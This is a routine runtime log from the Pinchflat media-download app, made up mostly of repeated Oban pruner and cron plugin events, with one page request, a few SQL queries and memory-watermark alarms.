{"source":"oban","duration":4618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.017 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:07.612 [info] {"source":"oban","duration":3027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:37.614 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:59.889 [info] GET / 15:31:59.894 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:31:59.937 [debug] QUERY OK source="settings" db=27.7ms queue=0.2ms idle=998.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:59.958 [debug] QUERY OK source="media_profiles" db=12.1ms queue=0.1ms idle=1039.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:31:59.991 [debug] QUERY OK source="sources" db=32.6ms queue=0.1ms idle=1053.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:32:00.200 [info] {"source":"oban","duration":181746,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:07.617 [info] {"source":"oban","duration":2481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:07.662 [info] Exqlite.Connection (#PID<0.2317.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.9479.0> exited 15:32:11.177 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 15:32:37.619 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.208 [info] {"source":"oban","duration":5746,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:07.623 [info] {"source":"oban","duration":2672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:39.142 [info] {"source":"oban","duration":1519022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.212 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:09.146 [info] {"source":"oban","duration":3014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:39.148 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.227 [info] {"source":"oban","duration":13462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:09.150 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:39.158 [info] {"source":"oban","duration":6746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.234 [info] {"source":"oban","duration":4203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:09.161 [info] {"source":"oban","duration":2605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:39.165 [info] {"source":"oban","duration":1820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.244 [info] {"source":"oban","duration":8726,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:09.167 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:39.174 [info] {"source":"oban","duration":4589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.272 [info] {"source":"oban","duration":4335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:09.177 [info] {"source":"oban","duration":1796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:39.180 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.274 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:09.184 [info] {"source":"oban","duration":2533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:29.702 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:39:39.187 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.283 [info] {"source":"oban","duration":7127,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:09.189 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:39.191 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.292 [info] {"source":"oban","duration":7168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:09.193 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:29.712 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:41:39.195 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.296 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:09.197 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:39.199 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.302 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:09.201 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:39.204 [info] {"source":"oban","duration":2498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.303 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:09.207 [info] {"source":"oban","duration":2262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:39.209 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.312 [info] {"source":"oban","duration":4551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:09.211 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:39.213 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.325 [info] {"source":"oban","duration":10822,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:09.215 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:39.217 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.327 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:09.219 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:39.221 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.335 [info] {"source":"oban","duration":6265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:09.224 [info] {"source":"oban","duration":2115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:39.227 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.341 [info] {"source":"oban","duration":4692,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:09.228 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:39.230 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.348 [info] {"source":"oban","duration":5741,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:09.232 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:39.234 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.364 [info] {"source":"oban","duration":14246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:09.237 [info] {"source":"oban","duration":1984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:39.240 [info] {"source":"oban","duration":2132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.374 [info] {"source":"oban","duration":3615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:09.244 [info] {"source":"oban","duration":3387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:39.246 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.386 [info] {"source":"oban","duration":10698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:09.248 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:39.250 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.395 [info] {"source":"oban","duration":7665,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:09.254 [info] {"source":"oban","duration":2875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:39.260 [info] {"source":"oban","duration":5049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.398 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:09.264 [info] {"source":"oban","duration":2998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:39.266 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.414 [info] {"source":"oban","duration":10710,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:09.268 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:39.272 [info] {"source":"oban","duration":2837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.440 [info] {"source":"oban","duration":23232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:09.275 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:29.822 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:57:39.277 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.443 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:09.279 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:29.827 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:58:39.286 [info] {"source":"oban","duration":6157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.454 [info] {"source":"oban","duration":6666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:09.289 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:39.291 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.456 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:09.294 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:39.296 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.467 [info] {"source":"oban","duration":9486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:09.299 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:39.302 [info] {"source":"oban","duration":2548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.469 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:09.305 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:39.306 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.472 [info] {"source":"oban","duration":1932,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:09.308 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:39.311 [info] {"source":"oban","duration":2195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.475 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:09.313 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:39.315 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.477 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:09.318 [info] {"source":"oban","duration":2008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:39.320 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.481 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:09.322 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:29.870 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 16:06:39.327 [info] {"source":"oban","duration":3784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.487 [info] {"source":"oban","duration":4495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:09.330 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:29.875 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:07:39.336 [info] {"source":"oban","duration":5175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.499 [info] {"source":"oban","duration":7281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:09.339 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:39.342 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.501 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:09.344 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:39.346 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.505 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:09.348 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:39.350 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.505 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:09.352 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:39.354 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.506 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:09.360 [info] {"source":"oban","duration":5067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:39.362 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.508 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:09.364 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:39.367 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.510 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:09.369 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:39.371 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.512 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:09.373 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:39.375 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.514 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:09.377 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:39.383 [info] {"source":"oban","duration":4984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.517 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:09.387 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:39.389 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.519 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:09.391 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:39.393 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.520 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:09.395 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:29.939 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 16:19:39.399 [info] {"source":"oban","duration":2884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.524 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:09.402 [info] {"source":"oban","duration":2151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:29.945 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:20:39.404 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.527 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:09.407 [info] {"source":"oban","duration":1805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:39.409 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.531 [info] {"source":"oban","duration":3181,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:09.411 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:39.413 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.533 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:09.415 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:39.417 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.535 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:09.419 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:39.421 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.536 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:09.423 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:39.426 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.537 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:09.428 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:39.430 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.539 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:09.432 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:39.434 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.540 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:09.437 [info] {"source":"oban","duration":1814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:39.439 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.543 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:09.441 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:39.443 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.548 [info] {"source":"oban","duration":3700,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:09.445 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:39.447 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.549 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:09.449 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:39.488 [info] {"source":"oban","duration":38066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.552 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:09.491 [info] {"source":"oban","duration":1981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:30.002 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 16:32:39.493 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.560 [info] {"source":"oban","duration":6410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:09.495 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:30.008 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:33:39.504 [info] {"source":"oban","duration":3042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.563 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:09.506 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:39.508 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.564 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:09.510 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:39.549 [info] {"source":"oban","duration":37756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.566 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:09.551 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:39.555 [info] {"source":"oban","duration":3199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.575 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:09.557 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:39.565 [info] {"source":"oban","duration":7491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.576 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:09.567 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:30.041 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 16:38:39.571 [info] {"source":"oban","duration":2848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.577 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:09.573 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:39.575 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.578 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:09.583 [info] {"source":"oban","duration":6204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:30.068 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:40:39.585 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.584 [info] {"source":"oban","duration":3437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:09.594 [info] {"source":"oban","duration":7973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:39.597 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.589 [info] {"source":"oban","duration":3952,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:09.601 [info] {"source":"oban","duration":2671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:39.602 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.590 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:09.606 [info] {"source":"oban","duration":2891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:39.608 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.593 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:09.610 [info] 